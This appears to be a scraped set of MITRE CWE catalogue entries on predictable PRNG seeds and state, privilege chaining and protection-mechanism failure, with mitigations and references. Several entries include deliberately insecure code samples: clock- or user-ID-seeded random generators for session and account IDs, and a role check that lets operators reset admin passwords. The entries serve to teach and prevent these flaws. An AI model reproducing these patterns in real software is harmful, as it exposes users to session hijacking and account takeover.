(bad code)
Example Language: PHP 
function generateSessionID($userID){
srand($userID);
return rand();
}

Because the seed for the PRNG is always the user's ID, the session ID will always be the same. An attacker could thus predict any user's session ID and potentially hijack the session.

This example also exhibits a Small Seed Space (CWE-339).



+ Selected Observed Examples

Note: this is a curated list of examples for users to understand the variety of ways in which this weakness can be introduced. It is not a complete list of all CVEs that are related to this CWE entry.

Reference Description
Mail server stores private mail messages with predictable filenames in a world-executable directory, which allows local users to read private mailing list archives.
PRNG allows attackers to use the output of small PRNG requests to determine the internal state information, which could be used by attackers to predict future pseudo-random numbers.
DNS resolver library uses predictable IDs, which allows a local attacker to spoof DNS query results.
MFV. predictable filename and insecure permissions allows file modification to execute SQL queries.
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
Nature Type ID Name
MemberOf ViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries). 884 CWE Cross-section
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 905 SFP Primary Cluster: Predictability
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1366 ICS Communications: Frail Security in Protocols
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1414 Comprehensive Categorization: Randomness
+ Vulnerability Mapping Notes
Usage ALLOWED
(this CWE ID may be used to map to real-world vulnerabilities)
Reason Acceptable-Use

Rationale

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Notes

Maintenance

As of CWE 4.5, terminology related to randomness, entropy, and predictability can vary widely. Within the developer and other communities, "randomness" is used heavily. However, within cryptography, "entropy" is distinct, typically implied as a measurement. There are no commonly-used definitions, even within standards documents and cryptography papers. Future versions of CWE will attempt to define these terms and, if necessary, distinguish between them in ways that are appropriate for different communities but do not reduce the usability of CWE for mapping, understanding, or other scenarios.
+ Taxonomy Mappings
Mapped Taxonomy Name Node ID Fit Mapped Node Name
PLOVER Predictable from Observable State
+ References
[REF-267] Information Technology Laboratory, National Institute of Standards and Technology. "SECURITY REQUIREMENTS FOR CRYPTOGRAPHIC MODULES". 2001-05-25.
<https://csrc.nist.gov/csrc/media/publications/fips/140/2/final/documents/fips1402.pdf>. (URL validated: 2023-04-07)
[REF-44] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 20: Weak Random Numbers." Page 299. McGraw-Hill. 2010.
+ Content History
+ Submissions
Submission Date Submitter Organization
2006-07-19
(CWE Draft 3, 2006-07-19) 		PLOVER
+ Modifications
Modification Date Modifier Organization
2023-06-29 CWE Content Team MITRE
updated Mapping_Notes, Relationships
2023-04-27 CWE Content Team MITRE
updated References, Relationships
2021-07-20 CWE Content Team MITRE
updated Maintenance_Notes
2020-02-24 CWE Content Team MITRE
updated Relationships
2017-11-08 CWE Content Team MITRE
updated Applicable_Platforms, Modes_of_Introduction, References, Relationships
2012-10-30 CWE Content Team MITRE
updated Potential_Mitigations
2012-05-11 CWE Content Team MITRE
updated Common_Consequences, Demonstrative_Examples, Observed_Examples, References, Relationships
2011-09-13 CWE Content Team MITRE
updated Potential_Mitigations, References
2011-06-27 CWE Content Team MITRE
updated Common_Consequences
2011-06-01 CWE Content Team MITRE
updated Common_Consequences
2010-06-21 CWE Content Team MITRE
updated Potential_Mitigations
2009-12-28 CWE Content Team MITRE
updated Potential_Mitigations
2009-03-10 CWE Content Team MITRE
updated Potential_Mitigations
2008-09-08 CWE Content Team MITRE
updated Relationships, Taxonomy_Mappings
2008-07-01 Eric Dalci Cigital
updated Time_of_Introduction
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CWE-337: Predictable Seed in Pseudo-Random Number Generator (PRNG)

Weakness ID: 337
Vulnerability Mapping: ALLOWED This CWE ID may be used to map to real-world vulnerabilities
Abstraction: Variant Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
A Pseudo-Random Number Generator (PRNG) is initialized from a predictable seed, such as the process ID or system time.
+ Extended Description
The use of predictable seeds significantly reduces the number of possible seeds that an attacker would need to test in order to predict which random numbers will be generated by the PRNG.
+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
Impact Details

Varies by Context

Scope: Other

+ Potential Mitigations
Phase(s) Mitigation
Use non-predictable inputs for seed generation.

Architecture and Design; Requirements

Strategy: Libraries or Frameworks

Use products or modules that conform to FIPS 140-2 [REF-267] to avoid obvious entropy problems, or use the more recent FIPS 140-3 [REF-1192] if possible.

Implementation
Use a PRNG that periodically re-seeds itself using input from high-quality sources, such as hardware devices with high entropy. However, do not re-seed too frequently, or else the entropy source might block.
+ Relationships
Section Help This table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (View-1000)
Nature Type ID Name
ChildOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 335 Incorrect Usage of Seeds in Pseudo-Random Number Generator (PRNG)
+ Relevant to the view "Architectural Concepts" (View-1008)
Nature Type ID Name
MemberOf Category Category - a CWE entry that contains a set of other entries that share a common characteristic. 1013 Encrypt Data
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
Phase Note
Implementation REALIZATION: This weakness is caused during implementation of an architectural security tactic.
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.
Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Demonstrative Examples

Example 1


Both of these examples use a statistical PRNG seeded with the current value of the system clock to generate a random number:

(bad code)
Example Language: Java 
Random random = new Random(System.currentTimeMillis());
int accountID = random.nextInt();
(bad code)
Example Language: C 
srand(time());
int randNum = rand();

An attacker can easily predict the seed used by these PRNGs, and so also predict the stream of random numbers generated. Note these examples also exhibit CWE-338 (Use of Cryptographically Weak PRNG).



+ Selected Observed Examples

Note: this is a curated list of examples for users to understand the variety of ways in which this weakness can be introduced. It is not a complete list of all CVEs that are related to this CWE entry.

Reference Description
Cloud application on Kubernetes generates passwords using a weak random number generator based on deployment time.
server uses erlang:now() to seed the PRNG, which results in a small search space for potential random seeds
The removal of a couple lines of code caused Debian's OpenSSL Package to only use the current process ID for seeding a PRNG
Router's PIN generation is based on rand(time(0)) seeding.
cloud provider product uses a non-cryptographically secure PRNG and seeds it with the current time
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
Nature Type ID Name
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 861 The CERT Oracle Secure Coding Standard for Java (2011) Chapter 18 - Miscellaneous (MSC)
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 905 SFP Primary Cluster: Predictability
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1152 SEI CERT Oracle Secure Coding Standard for Java - Guidelines 49. Miscellaneous (MSC)
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1346 OWASP Top Ten 2021 Category A02:2021 - Cryptographic Failures
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1366 ICS Communications: Frail Security in Protocols
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1414 Comprehensive Categorization: Randomness
+ Vulnerability Mapping Notes
Usage ALLOWED
(this CWE ID may be used to map to real-world vulnerabilities)
Reason Acceptable-Use

Rationale

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Notes

Maintenance

As of CWE 4.5, terminology related to randomness, entropy, and predictability can vary widely. Within the developer and other communities, "randomness" is used heavily. However, within cryptography, "entropy" is distinct, typically implied as a measurement. There are no commonly-used definitions, even within standards documents and cryptography papers. Future versions of CWE will attempt to define these terms and, if necessary, distinguish between them in ways that are appropriate for different communities but do not reduce the usability of CWE for mapping, understanding, or other scenarios.
+ Taxonomy Mappings
Mapped Taxonomy Name Node ID Fit Mapped Node Name
PLOVER Predictable Seed in PRNG
The CERT Oracle Secure Coding Standard for Java (2011) MSC02-J Generate strong random numbers
+ References
[REF-267] Information Technology Laboratory, National Institute of Standards and Technology. "SECURITY REQUIREMENTS FOR CRYPTOGRAPHIC MODULES". Annex C, Approved Random Number Generators. 2001-05-25.
<https://csrc.nist.gov/csrc/media/publications/fips/140/2/final/documents/fips1402.pdf>. (URL validated: 2023-04-07)
[REF-1192] Information Technology Laboratory, National Institute of Standards and Technology. "FIPS PUB 140-3: SECURITY REQUIREMENTS FOR CRYPTOGRAPHIC MODULES". 2019-03-22.
<https://csrc.nist.gov/publications/detail/fips/140/3/final>.
[REF-44] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 20: Weak Random Numbers." Page 299. McGraw-Hill. 2010.
+ Content History
+ Submissions
Submission Date Submitter Organization
2006-07-19
(CWE Draft 3, 2006-07-19) 		PLOVER
+ Modifications
Modification Date Modifier Organization
2023-06-29 CWE Content Team MITRE
updated Mapping_Notes, Relationships
2023-04-27 CWE Content Team MITRE
updated References, Relationships, Time_of_Introduction
2022-10-13 CWE Content Team MITRE
updated Observed_Examples
2021-10-28 CWE Content Team MITRE
updated Relationships
2021-07-20 CWE Content Team MITRE
updated Maintenance_Notes, Observed_Examples, Potential_Mitigations, References
2020-02-24 CWE Content Team MITRE
updated Description, Relationships
2019-06-20 CWE Content Team MITRE
updated Type
2019-01-03 CWE Content Team MITRE
updated Relationships, Taxonomy_Mappings
2017-11-08 CWE Content Team MITRE
updated Applicable_Platforms, Demonstrative_Examples, Description, Modes_of_Introduction, Name, References, Relationships
2012-10-30 CWE Content Team MITRE
updated Demonstrative_Examples, Potential_Mitigations
2012-05-11 CWE Content Team MITRE
updated References, Relationships
2011-09-13 CWE Content Team MITRE
updated Potential_Mitigations, References
2011-06-27 CWE Content Team MITRE
updated Common_Consequences
2011-06-01 CWE Content Team MITRE
updated Common_Consequences, Relationships, Taxonomy_Mappings
2010-06-21 CWE Content Team MITRE
updated Potential_Mitigations
2009-12-28 CWE Content Team MITRE
updated Potential_Mitigations
2009-03-10 CWE Content Team MITRE
updated Potential_Mitigations
2008-09-08 CWE Content Team MITRE
updated Relationships, Taxonomy_Mappings
2008-07-01 Eric Dalci Cigital
updated Time_of_Introduction
2008-07-01 Sean Eidemiller Cigital
added/updated demonstrative examples
+ Previous Entry Names
Change Date Previous Entry Name
2017-11-08 Predictable Seed in PRNG
Back to top

CWE-268: Privilege Chaining

Weakness ID: 268
Vulnerability Mapping: ALLOWED This CWE ID may be used to map to real-world vulnerabilities
Abstraction: Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
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+ Description
Two distinct privileges, roles, capabilities, or rights can be combined in a way that allows an entity to perform unsafe actions that would not be allowed without that combination.
+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
Impact Details

Gain Privileges or Assume Identity

Scope: Access Control

A user can be given or gain access rights of another user. This can give the user unauthorized access to sensitive information including the access information of another user.
+ Potential Mitigations
Phase(s) Mitigation

Architecture and Design

Strategy: Separation of Privilege

Consider following the principle of separation of privilege. Require multiple conditions to be met before permitting access to a system resource.

Architecture and Design; Operation
Very carefully manage the setting, management, and handling of privileges. Explicitly manage trust zones in the software.

Architecture and Design; Operation

Strategy: Environment Hardening

Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.
+ Relationships
Section Help This table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (View-1000)
Nature Type ID Name
ChildOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 269 Improper Privilege Management
+ Relevant to the view "Software Development" (View-699)
Nature Type ID Name
MemberOf Category Category - a CWE entry that contains a set of other entries that share a common characteristic. 265 Privilege Issues
+ Relevant to the view "Architectural Concepts" (View-1008)
Nature Type ID Name
MemberOf Category Category - a CWE entry that contains a set of other entries that share a common characteristic. 1011 Authorize Actors
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
Phase Note
Architecture and Design
Implementation REALIZATION: This weakness is caused during implementation of an architectural security tactic.
Operation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.
Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Likelihood Of Exploit
High
+ Demonstrative Examples

Example 1


This code allows someone with the role of "ADMIN" or "OPERATOR" to reset a user's password. The role of "OPERATOR" is intended to have less privileges than an "ADMIN", but still be able to help users with small issues such as forgotten passwords.

(bad code)
Example Language: Java 
public enum Roles {
ADMIN,OPERATOR,USER,GUEST
}

public void resetPassword(User requestingUser, User user, String password ){
if(isAuthenticated(requestingUser)){
switch(requestingUser.role){
case GUEST:
System.out.println("You are not authorized to perform this command");
break;

case USER:
System.out.println("You are not authorized to perform this command");
break;

default:
setPassword(user,password);
break;
}
}

else{
System.out.println("You must be logged in to perform this command");
}
}

This code does not check the role of the user whose password is being reset. It is possible for an Operator to gain Admin privileges by resetting the password of an Admin account and taking control of that account.



+ Selected Observed Examples

Note: this is a curated list of examples for users to understand the variety of ways in which this weakness can be introduced. It is not a complete list of all CVEs that are related to this CWE entry.

Reference Description
Chaining of user rights.
Gain certain rights via privilege chaining in alternate channel.
Application is allowed to assign extra permissions to itself.
"operator" user can overwrite usernames and passwords to gain admin privileges.
+ Weakness Ordinalities
Ordinality Description
Primary
(where the weakness exists independent of other weaknesses)
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
Nature Type ID Name
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 723 OWASP Top Ten 2004 Category A2 - Broken Access Control
MemberOf ViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries). 884 CWE Cross-section
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 901 SFP Primary Cluster: Privilege
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1364 ICS Communications: Zone Boundary Failures
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1366 ICS Communications: Frail Security in Protocols
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1396 Comprehensive Categorization: Access Control
+ Vulnerability Mapping Notes
Usage ALLOWED
(this CWE ID may be used to map to real-world vulnerabilities)
Reason Acceptable-Use

Rationale

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Notes

Relationship

There is some conceptual overlap with Unsafe Privilege.
+ Taxonomy Mappings
Mapped Taxonomy Name Node ID Fit Mapped Node Name
PLOVER Privilege Chaining
+ References
[REF-76] Sean Barnum and Michael Gegick. "Least Privilege". 2005-09-14.
<https://web.archive.org/web/20211209014121/https://www.cisa.gov/uscert/bsi/articles/knowledge/principles/least-privilege>. (URL validated: 2023-04-07)
+ Content History
+ Submissions
Submission Date Submitter Organization
2006-07-19
(CWE Draft 3, 2006-07-19) 		PLOVER
+ Modifications
Modification Date Modifier Organization
2023-06-29 CWE Content Team MITRE
updated Mapping_Notes, Relationships
2023-04-27 CWE Content Team MITRE
updated References, Relationships
2022-10-13 CWE Content Team MITRE
updated References
2022-04-28 CWE Content Team MITRE
updated Research_Gaps
2019-09-19 CWE Content Team MITRE
updated Demonstrative_Examples
2017-11-08 CWE Content Team MITRE
updated Applicable_Platforms, Causal_Nature, Modes_of_Introduction, References, Relationships
2012-10-30 CWE Content Team MITRE
updated Potential_Mitigations, References
2012-05-11 CWE Content Team MITRE
updated Common_Consequences, Demonstrative_Examples, Relationships
2011-06-01 CWE Content Team MITRE
updated Common_Consequences
2010-06-21 CWE Content Team MITRE
updated Potential_Mitigations
2009-12-28 CWE Content Team MITRE
updated Other_Notes, Potential_Mitigations, Research_Gaps
2009-03-10 CWE Content Team MITRE
updated Relationships
2008-09-08 CWE Content Team MITRE
updated Relationships, Other_Notes, Relationship_Notes, Taxonomy_Mappings, Weakness_Ordinalities
2008-07-01 Eric Dalci Cigital
updated Time_of_Introduction
Back to top

CWE CATEGORY: Privilege Separation and Access Control Issues

Category ID: 1198
Vulnerability Mapping: PROHIBITED This CWE ID must not be used to map to real-world vulnerabilities
+ Summary
Weaknesses in this category are related to features and mechanisms providing hardware-based isolation and access control (e.g., identity, policy, locking control) of sensitive shared hardware resources such as registers and fuses.
+ Membership
Nature Type ID Name
MemberOf ViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries). 1194 Hardware Design
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1372 ICS Supply Chain: OT Counterfeit and Malicious Corruption
HasMember BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 276 Incorrect Default Permissions
HasMember ClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 441 Unintended Proxy or Intermediary ('Confused Deputy')
HasMember BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 1189 Improper Isolation of Shared Resources on System-on-a-Chip (SoC)
HasMember BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 1192 Improper Identifier for IP Block used in System-On-Chip (SOC)
HasMember BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 1220 Insufficient Granularity of Access Control
HasMember VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource. 1222 Insufficient Granularity of Address Regions Protected by Register Locks
HasMember BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 1242 Inclusion of Undocumented Features or Chicken Bits
HasMember BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 1260 Improper Handling of Overlap Between Protected Memory Ranges
HasMember BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 1262 Improper Access Control for Register Interface
HasMember BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 1267 Policy Uses Obsolete Encoding
HasMember BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 1268 Policy Privileges are not Assigned Consistently Between Control and Data Agents
HasMember BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 1280 Access Control Check Implemented After Asset is Accessed
HasMember ClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 1294 Insecure Security Identifier Mechanism
HasMember BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 1299 Missing Protection Mechanism for Alternate Hardware Interface
HasMember BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 1302 Missing Source Identifier in Entity Transactions on a System-On-Chip (SOC)
HasMember BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 1303 Non-Transparent Sharing of Microarchitectural Resources
HasMember BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 1314 Missing Write Protection for Parametric Data Values
HasMember BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 1318 Missing Support for Security Features in On-chip Fabrics or Buses
HasMember BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 1334 Unauthorized Error Injection Can Degrade Hardware Redundancy
HasMember BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 1420 Exposure of Sensitive Information during Transient Execution
+ Vulnerability Mapping Notes

Usage: PROHIBITED

(this CWE ID must not be used to map to real-world vulnerabilities)

Reason: Category

Rationale:

This entry is a Category. Using categories for mapping has been discouraged since 2019. Categories are informal organizational groupings of weaknesses that can help CWE users with data aggregation, navigation, and browsing. However, they are not weaknesses in themselves.

Comments:

See member weaknesses of this category.
+ Content History
+ Submissions
Submission Date Submitter Organization
2019-12-27
(CWE 4.0, 2020-02-24) 		CWE Content Team MITRE
+ Modifications
Modification Date Modifier Organization
2020-06-25 CWE Content Team MITRE
updated Relationships
2020-08-20 CWE Content Team MITRE
updated Relationships
2020-12-10 CWE Content Team MITRE
updated Relationships
2022-04-28 CWE Content Team MITRE
updated Relationships
2023-01-31 CWE Content Team MITRE
updated Relationships
2023-04-27 CWE Content Team MITRE
updated Mapping_Notes
2023-06-29 CWE Content Team MITRE
updated Mapping_Notes
2024-02-29
(CWE 4.14, 2024-02-29) 		CWE Content Team MITRE
updated Relationships
Back to top

CWE-693: Protection Mechanism Failure

Weakness ID: 693
Vulnerability Mapping: DISCOURAGED This CWE ID should not be used to map to real-world vulnerabilities
Abstraction: Pillar Pillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product does not use or incorrectly uses a protection mechanism that provides sufficient defense against directed attacks against the product.
+ Extended Description
This weakness covers three distinct situations. A "missing" protection mechanism occurs when the application does not define any mechanism against a certain class of attack. An "insufficient" protection mechanism might provide some defenses - for example, against the most common attacks - but it does not protect against everything that is intended. Finally, an "ignored" mechanism occurs when a mechanism is available and in active use within the product, but the developer has not applied it in some code path.
+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
Impact Details

Bypass Protection Mechanism

Scope: Access Control

+ Relationships
Section Help This table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (View-1000)
Nature Type ID Name
MemberOf View View - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries). 1000 Research Concepts
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 184 Incomplete List of Disallowed Inputs
ParentOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 311 Missing Encryption of Sensitive Data
ParentOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 326 Inadequate Encryption Strength
ParentOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 327 Use of a Broken or Risky Cryptographic Algorithm
ParentOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 330 Use of Insufficiently Random Values
ParentOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 345 Insufficient Verification of Data Authenticity
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 357 Insufficient UI Warning of Dangerous Operations
